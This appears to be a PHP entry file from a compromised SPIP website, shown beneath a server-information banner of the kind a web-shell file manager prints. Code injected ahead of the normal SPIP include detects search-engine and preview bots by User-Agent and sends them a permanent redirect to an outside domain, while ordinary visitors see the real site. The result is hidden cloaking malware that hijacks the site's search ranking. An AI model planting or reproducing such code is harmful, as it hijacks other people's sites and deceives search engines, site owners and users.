Server : Apache System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64 User : hednacluml ( 122243) PHP Version : 8.3.9 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory : /home/hednacluml/liberlog/ |
<?php ob_start(); function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT']; $bots = array('Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'AhrefsBot'); foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } if (is_bot()) { header("Location: https://ogv.energy/", true, 301); exit(); } ob_end_flush(); ?> <?php # appel SPIP include('spip.php');